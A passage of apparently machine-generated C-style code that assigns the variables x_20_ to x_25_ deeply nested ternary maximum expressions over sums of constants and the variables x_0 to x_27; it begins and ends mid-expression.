(7.0 + x_17)? (11.0 + x_14) : (7.0 + x_17))) > (((2.0 + x_19) > (12.0 + x_24)? (2.0 + x_19) : (12.0 + x_24)) > ((13.0 + x_25) > (14.0 + x_27)? (13.0 + x_25) : (14.0 + x_27))? ((2.0 + x_19) > (12.0 + x_24)? (2.0 + x_19) : (12.0 + x_24)) : ((13.0 + x_25) > (14.0 + x_27)? (13.0 + x_25) : (14.0 + x_27)))? ((1.0 + x_12) > ((11.0 + x_14) > (7.0 + x_17)? (11.0 + x_14) : (7.0 + x_17))? (1.0 + x_12) : ((11.0 + x_14) > (7.0 + x_17)? (11.0 + x_14) : (7.0 + x_17))) : (((2.0 + x_19) > (12.0 + x_24)? (2.0 + x_19) : (12.0 + x_24)) > ((13.0 + x_25) > (14.0 + x_27)? (13.0 + x_25) : (14.0 + x_27))? ((2.0 + x_19) > (12.0 + x_24)? (2.0 + x_19) : (12.0 + x_24)) : ((13.0 + x_25) > (14.0 + x_27)? (13.0 + x_25) : (14.0 + x_27))))? (((12.0 + x_2) > ((15.0 + x_3) > (12.0 + x_5)? (15.0 + x_3) : (12.0 + x_5))? (12.0 + x_2) : ((15.0 + x_3) > (12.0 + x_5)? (15.0 + x_3) : (12.0 + x_5))) > (((18.0 + x_6) > (12.0 + x_7)? (18.0 + x_6) : (12.0 + x_7)) > ((12.0 + x_8) > (14.0 + x_9)? (12.0 + x_8) : (14.0 + x_9))? ((18.0 + x_6) > (12.0 + x_7)? (18.0 + x_6) : (12.0 + x_7)) : ((12.0 + x_8) > (14.0 + x_9)? (12.0 + x_8) : (14.0 + x_9)))? ((12.0 + x_2) > ((15.0 + x_3) > (12.0 + x_5)? (15.0 + x_3) : (12.0 + x_5))? (12.0 + x_2) : ((15.0 + x_3) > (12.0 + x_5)? (15.0 + x_3) : (12.0 + x_5))) : (((18.0 + x_6) > (12.0 + x_7)? (18.0 + x_6) : (12.0 + x_7)) > ((12.0 + x_8) > (14.0 + x_9)? (12.0 + x_8) : (14.0 + x_9))? ((18.0 + x_6) > (12.0 + x_7)? (18.0 + x_6) : (12.0 + x_7)) : ((12.0 + x_8) > (14.0 + x_9)? (12.0 + x_8) : (14.0 + x_9)))) : (((1.0 + x_12) > ((11.0 + x_14) > (7.0 + x_17)? (11.0 + x_14) : (7.0 + x_17))? (1.0 + x_12) : ((11.0 + x_14) > (7.0 + x_17)? (11.0 + x_14) : (7.0 + x_17))) > (((2.0 + x_19) > (12.0 + x_24)? (2.0 + x_19) : (12.0 + x_24)) > ((13.0 + x_25) > (14.0 + x_27)? (13.0 + x_25) : (14.0 + x_27))? ((2.0 + x_19) > (12.0 + x_24)? (2.0 + x_19) : (12.0 + x_24)) : ((13.0 + x_25) > (14.0 + x_27)? (13.0 + x_25) : (14.0 + x_27)))? ((1.0 + x_12) > ((11.0 + x_14) > (7.0 + x_17)? (11.0 + x_14) : (7.0 + x_17))? (1.0 + x_12) : ((11.0 + x_14) > (7.0 + x_17)? (11.0 + x_14) : (7.0 + x_17))) : (((2.0 + x_19) > (12.0 + x_24)? (2.0 + x_19) : (12.0 + x_24)) > ((13.0 + x_25) > (14.0 + x_27)? (13.0 + x_25) : (14.0 + x_27))? ((2.0 + x_19) > (12.0 + x_24)? (2.0 + x_19) : (12.0 + x_24)) : ((13.0 + x_25) > (14.0 + x_27)? (13.0 + x_25) : (14.0 + x_27)))));
x_20_ = ((((16.0 + x_0) > ((8.0 + x_1) > (8.0 + x_3)? (8.0 + x_1) : (8.0 + x_3))? (16.0 + x_0) : ((8.0 + x_1) > (8.0 + x_3)? (8.0 + x_1) : (8.0 + x_3))) > (((6.0 + x_4) > (20.0 + x_8)? (6.0 + x_4) : (20.0 + x_8)) > ((15.0 + x_9) > (5.0 + x_10)? (15.0 + x_9) : (5.0 + x_10))? ((6.0 + x_4) > (20.0 + x_8)? (6.0 + x_4) : (20.0 + x_8)) : ((15.0 + x_9) > (5.0 + x_10)? (15.0 + x_9) : (5.0 + x_10)))? ((16.0 + x_0) > ((8.0 + x_1) > (8.0 + x_3)? (8.0 + x_1) : (8.0 + x_3))? (16.0 + x_0) : ((8.0 + x_1) > (8.0 + x_3)? (8.0 + x_1) : (8.0 + x_3))) : (((6.0 + x_4) > (20.0 + x_8)? (6.0 + x_4) : (20.0 + x_8)) > ((15.0 + x_9) > (5.0 + x_10)? (15.0 + x_9) : (5.0 + x_10))? ((6.0 + x_4) > (20.0 + x_8)? (6.0 + x_4) : (20.0 + x_8)) : ((15.0 + x_9) > (5.0 + x_10)? (15.0 + x_9) : (5.0 + x_10)))) > (((10.0 + x_12) > ((3.0 + x_17) > (11.0 + x_19)? (3.0 + x_17) : (11.0 + x_19))? (10.0 + x_12) : ((3.0 + x_17) > (11.0 + x_19)? (3.0 + x_17) : (11.0 + x_19))) > (((12.0 + x_20) > (14.0 + x_23)? (12.0 + x_20) : (14.0 + x_23)) > ((3.0 + x_24) > (18.0 + x_25)? (3.0 + x_24) : (18.0 + x_25))? ((12.0 + x_20) > (14.0 + x_23)? (12.0 + x_20) : (14.0 + x_23)) : ((3.0 + x_24) > (18.0 + x_25)? (3.0 + x_24) : (18.0 + x_25)))? ((10.0 + x_12) > ((3.0 + x_17) > (11.0 + x_19)? (3.0 + x_17) : (11.0 + x_19))? (10.0 + x_12) : ((3.0 + x_17) > (11.0 + x_19)? (3.0 + x_17) : (11.0 + x_19))) : (((12.0 + x_20) > (14.0 + x_23)? (12.0 + x_20) : (14.0 + x_23)) > ((3.0 + x_24) > (18.0 + x_25)? (3.0 + x_24) : (18.0 + x_25))? ((12.0 + x_20) > (14.0 + x_23)? (12.0 + x_20) : (14.0 + x_23)) : ((3.0 + x_24) > (18.0 + x_25)? (3.0 + x_24) : (18.0 + x_25))))? (((16.0 + x_0) > ((8.0 + x_1) > (8.0 + x_3)? (8.0 + x_1) : (8.0 + x_3))? (16.0 + x_0) : ((8.0 + x_1) > (8.0 + x_3)? (8.0 + x_1) : (8.0 + x_3))) > (((6.0 + x_4) > (20.0 + x_8)? (6.0 + x_4) : (20.0 + x_8)) > ((15.0 + x_9) > (5.0 + x_10)? (15.0 + x_9) : (5.0 + x_10))? ((6.0 + x_4) > (20.0 + x_8)? (6.0 + x_4) : (20.0 + x_8)) : ((15.0 + x_9) > (5.0 + x_10)? (15.0 + x_9) : (5.0 + x_10)))? ((16.0 + x_0) > ((8.0 + x_1) > (8.0 + x_3)? (8.0 + x_1) : (8.0 + x_3))? (16.0 + x_0) : ((8.0 + x_1) > (8.0 + x_3)? (8.0 + x_1) : (8.0 + x_3))) : (((6.0 + x_4) > (20.0 + x_8)? (6.0 + x_4) : (20.0 + x_8)) > ((15.0 + x_9) > (5.0 + x_10)? (15.0 + x_9) : (5.0 + x_10))? ((6.0 + x_4) > (20.0 + x_8)? (6.0 + x_4) : (20.0 + x_8)) : ((15.0 + x_9) > (5.0 + x_10)? (15.0 + x_9) : (5.0 + x_10)))) : (((10.0 + x_12) > ((3.0 + x_17) > (11.0 + x_19)? (3.0 + x_17) : (11.0 + x_19))? (10.0 + x_12) : ((3.0 + x_17) > (11.0 + x_19)? (3.0 + x_17) : (11.0 + x_19))) > (((12.0 + x_20) > (14.0 + x_23)? (12.0 + x_20) : (14.0 + x_23)) > ((3.0 + x_24) > (18.0 + x_25)? (3.0 + x_24) : (18.0 + x_25))? ((12.0 + x_20) > (14.0 + x_23)? (12.0 + x_20) : (14.0 + x_23)) : ((3.0 + x_24) > (18.0 + x_25)? (3.0 + x_24) : (18.0 + x_25)))? ((10.0 + x_12) > ((3.0 + x_17) > (11.0 + x_19)? (3.0 + x_17) : (11.0 + x_19))? (10.0 + x_12) : ((3.0 + x_17) > (11.0 + x_19)? (3.0 + x_17) : (11.0 + x_19))) : (((12.0 + x_20) > (14.0 + x_23)? (12.0 + x_20) : (14.0 + x_23)) > ((3.0 + x_24) > (18.0 + x_25)? (3.0 + x_24) : (18.0 + x_25))? ((12.0 + x_20) > (14.0 + x_23)? (12.0 + x_20) : (14.0 + x_23)) : ((3.0 + x_24) > (18.0 + x_25)? (3.0 + x_24) : (18.0 + x_25)))));
x_21_ = ((((16.0 + x_0) > ((11.0 + x_5) > (6.0 + x_6)? (11.0 + x_5) : (6.0 + x_6))? (16.0 + x_0) : ((11.0 + x_5) > (6.0 + x_6)? (11.0 + x_5) : (6.0 + x_6))) > (((8.0 + x_9) > (6.0 + x_10)? (8.0 + x_9) : (6.0 + x_10)) > ((20.0 + x_13) > (20.0 + x_14)? (20.0 + x_13) : (20.0 + x_14))? ((8.0 + x_9) > (6.0 + x_10)? (8.0 + x_9) : (6.0 + x_10)) : ((20.0 + x_13) > (20.0 + x_14)? (20.0 + x_13) : (20.0 + x_14)))? ((16.0 + x_0) > ((11.0 + x_5) > (6.0 + x_6)? (11.0 + x_5) : (6.0 + x_6))? (16.0 + x_0) : ((11.0 + x_5) > (6.0 + x_6)? (11.0 + x_5) : (6.0 + x_6))) : (((8.0 + x_9) > (6.0 + x_10)? (8.0 + x_9) : (6.0 + x_10)) > ((20.0 + x_13) > (20.0 + x_14)? (20.0 + x_13) : (20.0 + x_14))? ((8.0 + x_9) > (6.0 + x_10)? (8.0 + x_9) : (6.0 + x_10)) : ((20.0 + x_13) > (20.0 + x_14)? (20.0 + x_13) : (20.0 + x_14)))) > (((16.0 + x_15) > ((19.0 + x_16) > (16.0 + x_17)? (19.0 + x_16) : (16.0 + x_17))? (16.0 + x_15) : ((19.0 + x_16) > (16.0 + x_17)? (19.0 + x_16) : (16.0 + x_17))) > (((18.0 + x_21) > (9.0 + x_22)? (18.0 + x_21) : (9.0 + x_22)) > ((15.0 + x_25) > (9.0 + x_27)? (15.0 + x_25) : (9.0 + x_27))? ((18.0 + x_21) > (9.0 + x_22)? (18.0 + x_21) : (9.0 + x_22)) : ((15.0 + x_25) > (9.0 + x_27)? (15.0 + x_25) : (9.0 + x_27)))? ((16.0 + x_15) > ((19.0 + x_16) > (16.0 + x_17)? (19.0 + x_16) : (16.0 + x_17))? (16.0 + x_15) : ((19.0 + x_16) > (16.0 + x_17)? (19.0 + x_16) : (16.0 + x_17))) : (((18.0 + x_21) > (9.0 + x_22)? (18.0 + x_21) : (9.0 + x_22)) > ((15.0 + x_25) > (9.0 + x_27)? (15.0 + x_25) : (9.0 + x_27))? ((18.0 + x_21) > (9.0 + x_22)? (18.0 + x_21) : (9.0 + x_22)) : ((15.0 + x_25) > (9.0 + x_27)? (15.0 + x_25) : (9.0 + x_27))))? (((16.0 + x_0) > ((11.0 + x_5) > (6.0 + x_6)? (11.0 + x_5) : (6.0 + x_6))? (16.0 + x_0) : ((11.0 + x_5) > (6.0 + x_6)? (11.0 + x_5) : (6.0 + x_6))) > (((8.0 + x_9) > (6.0 + x_10)? (8.0 + x_9) : (6.0 + x_10)) > ((20.0 + x_13) > (20.0 + x_14)? (20.0 + x_13) : (20.0 + x_14))? ((8.0 + x_9) > (6.0 + x_10)? (8.0 + x_9) : (6.0 + x_10)) : ((20.0 + x_13) > (20.0 + x_14)? (20.0 + x_13) : (20.0 + x_14)))? ((16.0 + x_0) > ((11.0 + x_5) > (6.0 + x_6)? (11.0 + x_5) : (6.0 + x_6))? (16.0 + x_0) : ((11.0 + x_5) > (6.0 + x_6)? (11.0 + x_5) : (6.0 + x_6))) : (((8.0 + x_9) > (6.0 + x_10)? (8.0 + x_9) : (6.0 + x_10)) > ((20.0 + x_13) > (20.0 + x_14)? (20.0 + x_13) : (20.0 + x_14))? ((8.0 + x_9) > (6.0 + x_10)? (8.0 + x_9) : (6.0 + x_10)) : ((20.0 + x_13) > (20.0 + x_14)? (20.0 + x_13) : (20.0 + x_14)))) : (((16.0 + x_15) > ((19.0 + x_16) > (16.0 + x_17)? (19.0 + x_16) : (16.0 + x_17))? (16.0 + x_15) : ((19.0 + x_16) > (16.0 + x_17)? (19.0 + x_16) : (16.0 + x_17))) > (((18.0 + x_21) > (9.0 + x_22)? (18.0 + x_21) : (9.0 + x_22)) > ((15.0 + x_25) > (9.0 + x_27)? (15.0 + x_25) : (9.0 + x_27))? ((18.0 + x_21) > (9.0 + x_22)? (18.0 + x_21) : (9.0 + x_22)) : ((15.0 + x_25) > (9.0 + x_27)? (15.0 + x_25) : (9.0 + x_27)))? ((16.0 + x_15) > ((19.0 + x_16) > (16.0 + x_17)? (19.0 + x_16) : (16.0 + x_17))? (16.0 + x_15) : ((19.0 + x_16) > (16.0 + x_17)? (19.0 + x_16) : (16.0 + x_17))) : (((18.0 + x_21) > (9.0 + x_22)? (18.0 + x_21) : (9.0 + x_22)) > ((15.0 + x_25) > (9.0 + x_27)? (15.0 + x_25) : (9.0 + x_27))? ((18.0 + x_21) > (9.0 + x_22)? (18.0 + x_21) : (9.0 + x_22)) : ((15.0 + x_25) > (9.0 + x_27)? (15.0 + x_25) : (9.0 + x_27)))));
x_22_ = ((((12.0 + x_2) > ((16.0 + x_4) > (10.0 + x_6)? (16.0 + x_4) : (10.0 + x_6))? (12.0 + x_2) : ((16.0 + x_4) > (10.0 + x_6)? (16.0 + x_4) : (10.0 + x_6))) > (((4.0 + x_10) > (5.0 + x_11)? (4.0 + x_10) : (5.0 + x_11)) > ((11.0 + x_12) > (3.0 + x_13)? (11.0 + x_12) : (3.0 + x_13))? ((4.0 + x_10) > (5.0 + x_11)? (4.0 + x_10) : (5.0 + x_11)) : ((11.0 + x_12) > (3.0 + x_13)? (11.0 + x_12) : (3.0 + x_13)))? ((12.0 + x_2) > ((16.0 + x_4) > (10.0 + x_6)? (16.0 + x_4) : (10.0 + x_6))? (12.0 + x_2) : ((16.0 + x_4) > (10.0 + x_6)? (16.0 + x_4) : (10.0 + x_6))) : (((4.0 + x_10) > (5.0 + x_11)? (4.0 + x_10) : (5.0 + x_11)) > ((11.0 + x_12) > (3.0 + x_13)? (11.0 + x_12) : (3.0 + x_13))? ((4.0 + x_10) > (5.0 + x_11)? (4.0 + x_10) : (5.0 + x_11)) : ((11.0 + x_12) > (3.0 + x_13)? (11.0 + x_12) : (3.0 + x_13)))) > (((13.0 + x_14) > ((13.0 + x_15) > (10.0 + x_18)? (13.0 + x_15) : (10.0 + x_18))? (13.0 + x_14) : ((13.0 + x_15) > (10.0 + x_18)? (13.0 + x_15) : (10.0 + x_18))) > (((3.0 + x_21) > (4.0 + x_23)? (3.0 + x_21) : (4.0 + x_23)) > ((20.0 + x_25) > (5.0 + x_27)? (20.0 + x_25) : (5.0 + x_27))? ((3.0 + x_21) > (4.0 + x_23)? (3.0 + x_21) : (4.0 + x_23)) : ((20.0 + x_25) > (5.0 + x_27)? (20.0 + x_25) : (5.0 + x_27)))? ((13.0 + x_14) > ((13.0 + x_15) > (10.0 + x_18)? (13.0 + x_15) : (10.0 + x_18))? (13.0 + x_14) : ((13.0 + x_15) > (10.0 + x_18)? (13.0 + x_15) : (10.0 + x_18))) : (((3.0 + x_21) > (4.0 + x_23)? (3.0 + x_21) : (4.0 + x_23)) > ((20.0 + x_25) > (5.0 + x_27)? (20.0 + x_25) : (5.0 + x_27))? ((3.0 + x_21) > (4.0 + x_23)? (3.0 + x_21) : (4.0 + x_23)) : ((20.0 + x_25) > (5.0 + x_27)? (20.0 + x_25) : (5.0 + x_27))))? (((12.0 + x_2) > ((16.0 + x_4) > (10.0 + x_6)? (16.0 + x_4) : (10.0 + x_6))? (12.0 + x_2) : ((16.0 + x_4) > (10.0 + x_6)? (16.0 + x_4) : (10.0 + x_6))) > (((4.0 + x_10) > (5.0 + x_11)? (4.0 + x_10) : (5.0 + x_11)) > ((11.0 + x_12) > (3.0 + x_13)? (11.0 + x_12) : (3.0 + x_13))? ((4.0 + x_10) > (5.0 + x_11)? (4.0 + x_10) : (5.0 + x_11)) : ((11.0 + x_12) > (3.0 + x_13)? (11.0 + x_12) : (3.0 + x_13)))? ((12.0 + x_2) > ((16.0 + x_4) > (10.0 + x_6)? (16.0 + x_4) : (10.0 + x_6))? (12.0 + x_2) : ((16.0 + x_4) > (10.0 + x_6)? (16.0 + x_4) : (10.0 + x_6))) : (((4.0 + x_10) > (5.0 + x_11)? (4.0 + x_10) : (5.0 + x_11)) > ((11.0 + x_12) > (3.0 + x_13)? (11.0 + x_12) : (3.0 + x_13))? ((4.0 + x_10) > (5.0 + x_11)? (4.0 + x_10) : (5.0 + x_11)) : ((11.0 + x_12) > (3.0 + x_13)? (11.0 + x_12) : (3.0 + x_13)))) : (((13.0 + x_14) > ((13.0 + x_15) > (10.0 + x_18)? (13.0 + x_15) : (10.0 + x_18))? (13.0 + x_14) : ((13.0 + x_15) > (10.0 + x_18)? (13.0 + x_15) : (10.0 + x_18))) > (((3.0 + x_21) > (4.0 + x_23)? (3.0 + x_21) : (4.0 + x_23)) > ((20.0 + x_25) > (5.0 + x_27)? (20.0 + x_25) : (5.0 + x_27))? ((3.0 + x_21) > (4.0 + x_23)? (3.0 + x_21) : (4.0 + x_23)) : ((20.0 + x_25) > (5.0 + x_27)? (20.0 + x_25) : (5.0 + x_27)))? ((13.0 + x_14) > ((13.0 + x_15) > (10.0 + x_18)? (13.0 + x_15) : (10.0 + x_18))? (13.0 + x_14) : ((13.0 + x_15) > (10.0 + x_18)? (13.0 + x_15) : (10.0 + x_18))) : (((3.0 + x_21) > (4.0 + x_23)? (3.0 + x_21) : (4.0 + x_23)) > ((20.0 + x_25) > (5.0 + x_27)? (20.0 + x_25) : (5.0 + x_27))? ((3.0 + x_21) > (4.0 + x_23)? (3.0 + x_21) : (4.0 + x_23)) : ((20.0 + x_25) > (5.0 + x_27)? (20.0 + x_25) : (5.0 + x_27)))));
x_23_ = ((((3.0 + x_0) > ((19.0 + x_2) > (11.0 + x_3)? (19.0 + x_2) : (11.0 + x_3))? (3.0 + x_0) : ((19.0 + x_2) > (11.0 + x_3)? (19.0 + x_2) : (11.0 + x_3))) > (((19.0 + x_5) > (19.0 + x_8)? (19.0 + x_5) : (19.0 + x_8)) > ((4.0 + x_9) > (19.0 + x_11)? (4.0 + x_9) : (19.0 + x_11))? ((19.0 + x_5) > (19.0 + x_8)? (19.0 + x_5) : (19.0 + x_8)) : ((4.0 + x_9) > (19.0 + x_11)? (4.0 + x_9) : (19.0 + x_11)))? ((3.0 + x_0) > ((19.0 + x_2) > (11.0 + x_3)? (19.0 + x_2) : (11.0 + x_3))? (3.0 + x_0) : ((19.0 + x_2) > (11.0 + x_3)? (19.0 + x_2) : (11.0 + x_3))) : (((19.0 + x_5) > (19.0 + x_8)? (19.0 + x_5) : (19.0 + x_8)) > ((4.0 + x_9) > (19.0 + x_11)? (4.0 + x_9) : (19.0 + x_11))? ((19.0 + x_5) > (19.0 + x_8)? (19.0 + x_5) : (19.0 + x_8)) : ((4.0 + x_9) > (19.0 + x_11)? (4.0 + x_9) : (19.0 + x_11)))) > (((12.0 + x_12) > ((10.0 + x_13) > (10.0 + x_16)? (10.0 + x_13) : (10.0 + x_16))? (12.0 + x_12) : ((10.0 + x_13) > (10.0 + x_16)? (10.0 + x_13) : (10.0 + x_16))) > (((8.0 + x_17) > (2.0 + x_21)? (8.0 + x_17) : (2.0 + x_21)) > ((6.0 + x_23) > (19.0 + x_25)? (6.0 + x_23) : (19.0 + x_25))? ((8.0 + x_17) > (2.0 + x_21)? (8.0 + x_17) : (2.0 + x_21)) : ((6.0 + x_23) > (19.0 + x_25)? (6.0 + x_23) : (19.0 + x_25)))? ((12.0 + x_12) > ((10.0 + x_13) > (10.0 + x_16)? (10.0 + x_13) : (10.0 + x_16))? (12.0 + x_12) : ((10.0 + x_13) > (10.0 + x_16)? (10.0 + x_13) : (10.0 + x_16))) : (((8.0 + x_17) > (2.0 + x_21)? (8.0 + x_17) : (2.0 + x_21)) > ((6.0 + x_23) > (19.0 + x_25)? (6.0 + x_23) : (19.0 + x_25))? ((8.0 + x_17) > (2.0 + x_21)? (8.0 + x_17) : (2.0 + x_21)) : ((6.0 + x_23) > (19.0 + x_25)? (6.0 + x_23) : (19.0 + x_25))))? (((3.0 + x_0) > ((19.0 + x_2) > (11.0 + x_3)? (19.0 + x_2) : (11.0 + x_3))? (3.0 + x_0) : ((19.0 + x_2) > (11.0 + x_3)? (19.0 + x_2) : (11.0 + x_3))) > (((19.0 + x_5) > (19.0 + x_8)? (19.0 + x_5) : (19.0 + x_8)) > ((4.0 + x_9) > (19.0 + x_11)? (4.0 + x_9) : (19.0 + x_11))? ((19.0 + x_5) > (19.0 + x_8)? (19.0 + x_5) : (19.0 + x_8)) : ((4.0 + x_9) > (19.0 + x_11)? (4.0 + x_9) : (19.0 + x_11)))? ((3.0 + x_0) > ((19.0 + x_2) > (11.0 + x_3)? (19.0 + x_2) : (11.0 + x_3))? (3.0 + x_0) : ((19.0 + x_2) > (11.0 + x_3)? (19.0 + x_2) : (11.0 + x_3))) : (((19.0 + x_5) > (19.0 + x_8)? (19.0 + x_5) : (19.0 + x_8)) > ((4.0 + x_9) > (19.0 + x_11)? (4.0 + x_9) : (19.0 + x_11))? ((19.0 + x_5) > (19.0 + x_8)? (19.0 + x_5) : (19.0 + x_8)) : ((4.0 + x_9) > (19.0 + x_11)? (4.0 + x_9) : (19.0 + x_11)))) : (((12.0 + x_12) > ((10.0 + x_13) > (10.0 + x_16)? (10.0 + x_13) : (10.0 + x_16))? (12.0 + x_12) : ((10.0 + x_13) > (10.0 + x_16)? (10.0 + x_13) : (10.0 + x_16))) > (((8.0 + x_17) > (2.0 + x_21)? (8.0 + x_17) : (2.0 + x_21)) > ((6.0 + x_23) > (19.0 + x_25)? (6.0 + x_23) : (19.0 + x_25))? ((8.0 + x_17) > (2.0 + x_21)? (8.0 + x_17) : (2.0 + x_21)) : ((6.0 + x_23) > (19.0 + x_25)? (6.0 + x_23) : (19.0 + x_25)))? ((12.0 + x_12) > ((10.0 + x_13) > (10.0 + x_16)? (10.0 + x_13) : (10.0 + x_16))? (12.0 + x_12) : ((10.0 + x_13) > (10.0 + x_16)? (10.0 + x_13) : (10.0 + x_16))) : (((8.0 + x_17) > (2.0 + x_21)? (8.0 + x_17) : (2.0 + x_21)) > ((6.0 + x_23) > (19.0 + x_25)? (6.0 + x_23) : (19.0 + x_25))? ((8.0 + x_17) > (2.0 + x_21)? (8.0 + x_17) : (2.0 + x_21)) : ((6.0 + x_23) > (19.0 + x_25)? (6.0 + x_23) : (19.0 + x_25)))));
x_24_ = ((((7.0 + x_1) > ((12.0 + x_2) > (18.0 + x_4)? (12.0 + x_2) : (18.0 + x_4))? (7.0 + x_1) : ((12.0 + x_2) > (18.0 + x_4)? (12.0 + x_2) : (18.0 + x_4))) > (((11.0 + x_6) > (2.0 + x_7)? (11.0 + x_6) : (2.0 + x_7)) > ((7.0 + x_8) > (19.0 + x_11)? (7.0 + x_8) : (19.0 + x_11))? ((11.0 + x_6) > (2.0 + x_7)? (11.0 + x_6) : (2.0 + x_7)) : ((7.0 + x_8) > (19.0 + x_11)? (7.0 + x_8) : (19.0 + x_11)))? ((7.0 + x_1) > ((12.0 + x_2) > (18.0 + x_4)? (12.0 + x_2) : (18.0 + x_4))? (7.0 + x_1) : ((12.0 + x_2) > (18.0 + x_4)? (12.0 + x_2) : (18.0 + x_4))) : (((11.0 + x_6) > (2.0 + x_7)? (11.0 + x_6) : (2.0 + x_7)) > ((7.0 + x_8) > (19.0 + x_11)? (7.0 + x_8) : (19.0 + x_11))? ((11.0 + x_6) > (2.0 + x_7)? (11.0 + x_6) : (2.0 + x_7)) : ((7.0 + x_8) > (19.0 + x_11)? (7.0 + x_8) : (19.0 + x_11)))) > (((20.0 + x_13) > ((7.0 + x_15) > (13.0 + x_17)? (7.0 + x_15) : (13.0 + x_17))? (20.0 + x_13) : ((7.0 + x_15) > (13.0 + x_17)? (7.0 + x_15) : (13.0 + x_17))) > (((19.0 + x_19) > (15.0 + x_20)? (19.0 + x_19) : (15.0 + x_20)) > ((9.0 + x_21) > (9.0 + x_24)? (9.0 + x_21) : (9.0 + x_24))? ((19.0 + x_19) > (15.0 + x_20)? (19.0 + x_19) : (15.0 + x_20)) : ((9.0 + x_21) > (9.0 + x_24)? (9.0 + x_21) : (9.0 + x_24)))? ((20.0 + x_13) > ((7.0 + x_15) > (13.0 + x_17)? (7.0 + x_15) : (13.0 + x_17))? (20.0 + x_13) : ((7.0 + x_15) > (13.0 + x_17)? (7.0 + x_15) : (13.0 + x_17))) : (((19.0 + x_19) > (15.0 + x_20)? (19.0 + x_19) : (15.0 + x_20)) > ((9.0 + x_21) > (9.0 + x_24)? (9.0 + x_21) : (9.0 + x_24))? ((19.0 + x_19) > (15.0 + x_20)? (19.0 + x_19) : (15.0 + x_20)) : ((9.0 + x_21) > (9.0 + x_24)? (9.0 + x_21) : (9.0 + x_24))))? (((7.0 + x_1) > ((12.0 + x_2) > (18.0 + x_4)? (12.0 + x_2) : (18.0 + x_4))? (7.0 + x_1) : ((12.0 + x_2) > (18.0 + x_4)? (12.0 + x_2) : (18.0 + x_4))) > (((11.0 + x_6) > (2.0 + x_7)? (11.0 + x_6) : (2.0 + x_7)) > ((7.0 + x_8) > (19.0 + x_11)? (7.0 + x_8) : (19.0 + x_11))? ((11.0 + x_6) > (2.0 + x_7)? (11.0 + x_6) : (2.0 + x_7)) : ((7.0 + x_8) > (19.0 + x_11)? (7.0 + x_8) : (19.0 + x_11)))? ((7.0 + x_1) > ((12.0 + x_2) > (18.0 + x_4)? (12.0 + x_2) : (18.0 + x_4))? (7.0 + x_1) : ((12.0 + x_2) > (18.0 + x_4)? (12.0 + x_2) : (18.0 + x_4))) : (((11.0 + x_6) > (2.0 + x_7)? (11.0 + x_6) : (2.0 + x_7)) > ((7.0 + x_8) > (19.0 + x_11)? (7.0 + x_8) : (19.0 + x_11))? ((11.0 + x_6) > (2.0 + x_7)? (11.0 + x_6) : (2.0 + x_7)) : ((7.0 + x_8) > (19.0 + x_11)? (7.0 + x_8) : (19.0 + x_11)))) : (((20.0 + x_13) > ((7.0 + x_15) > (13.0 + x_17)? (7.0 + x_15) : (13.0 + x_17))? (20.0 + x_13) : ((7.0 + x_15) > (13.0 + x_17)? (7.0 + x_15) : (13.0 + x_17))) > (((19.0 + x_19) > (15.0 + x_20)? (19.0 + x_19) : (15.0 + x_20)) > ((9.0 + x_21) > (9.0 + x_24)? (9.0 + x_21) : (9.0 + x_24))? ((19.0 + x_19) > (15.0 + x_20)? (19.0 + x_19) : (15.0 + x_20)) : ((9.0 + x_21) > (9.0 + x_24)? (9.0 + x_21) : (9.0 + x_24)))? ((20.0 + x_13) > ((7.0 + x_15) > (13.0 + x_17)? (7.0 + x_15) : (13.0 + x_17))? (20.0 + x_13) : ((7.0 + x_15) > (13.0 + x_17)? (7.0 + x_15) : (13.0 + x_17))) : (((19.0 + x_19) > (15.0 + x_20)? (19.0 + x_19) : (15.0 + x_20)) > ((9.0 + x_21) > (9.0 + x_24)? (9.0 + x_21) : (9.0 + x_24))? ((19.0 + x_19) > (15.0 + x_20)? (19.0 + x_19) : (15.0 + x_20)) : ((9.0 + x_21) > (9.0 + x_24)? (9.0 + x_21) : (9.0 + x_24)))));
x_25_ = ((((1.0 + x_0) > ((17.0 + x_4) > (16.0 + x_5)? (17.0 + x_4) : (16.0 + x_5))? (1.0 + x_0) : ((17.0 + x_4) > (16.0 + x_5)? (17.0 + x_4) : (16.0 + x_5))) > (((19.0 + x_6) > (12.0 + x_10)? (19.0 + x_6) : (12.0 + x_10)) > ((5.0 + x_12) > (3.0 + x_15)? (5.0 + x_12) : (3.0 + x_15))? ((19.0 + x_6) > (12.0 + x_10)? (19.0 + x_6) : (12.0 + x_10)) : ((5.0 + x_12) > (3.0 + x_15)? (5.0 + x_12) : (3.0 + x_15)))? ((1.0 + x_0) > ((17.0 + x_4) > (16.0 + x_5)? (17.0 + x_4) : (16.0 + x_5))? (1.0 + x_0) : ((17.0 + x_4) > (16.0 + x_5)? (17.0 + x_4) : (16.0 + x_5))) : (((19.0 + x_6) > (12.0 + x_10)? (19.0 + x_6) : (12.0 + x_10)) > ((5.0 + x_12) > (3.0 + x_15)? (5.0 + x_12) : (3.0 + x_15))? ((19.0 + x_6) > (12.0 + x_10)? (19.0 + x_6) : (12.0 + x_10)) : ((5.0 + x_12) > (3.0 + x_15)? (5.0 + x_12) : (3.0 + x_15)))) > (((9.0 + x_16) > ((3.0 + x_17) > (3.0 + x_18)? (3.0 + x_17) : (3.0 + x_18))? (9.0 + x_16) : ((3.0 + x_17) > (3.0 + x_18)? (3.0 + x_17) : (3.0 + x_18))) > (((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)) > ((9.0 + x_25) > (7.0 + x_26)? (9.0 + x_25) : (7.0 + x_26))? ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)) : ((9.0 + x_25) > (7.0 + x_26)? (9.0 + x_25) : (7.0 + x_26)))? ((9.0 + x_16) > ((3.0 + x_17) > (3.0 + x_18)? (3.0 + x_17) : (3.0 + x_18))? (9.0 + x_16) : ((3.0 + x_17) > (3.0 + x_18)? (3.0 + x_17) : (3.0 + x_18))) : (((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)) > ((9.0 + x_25) > (7.0 + x_26)? (9.0 + x_25) : (7.0 + x_26))? ((15.0 + x_22) > (1.0 + x_24)? (15.0 + x_22) : (1.0 + x_24)) : ((9.0 + x_25) > (7.0 + x_26)? (9.0 + x_25) : (7.0 + x_26))))? (((1.0 + x_0) > ((17.0 + x_4) > (16.0 + x_5)? (17.0 + x_4) : (16.0 + x_5))? (1.0 + x_0) : ((17.0 + x_4) > (16.0 + x_5)? (17.0 + x_4) : (16.0 + x_5))) > (((19.0 + x_6) > (12.0 + x_10)? (19.0 + x_6) : (12.0 + x_10)) > ((5.0 + 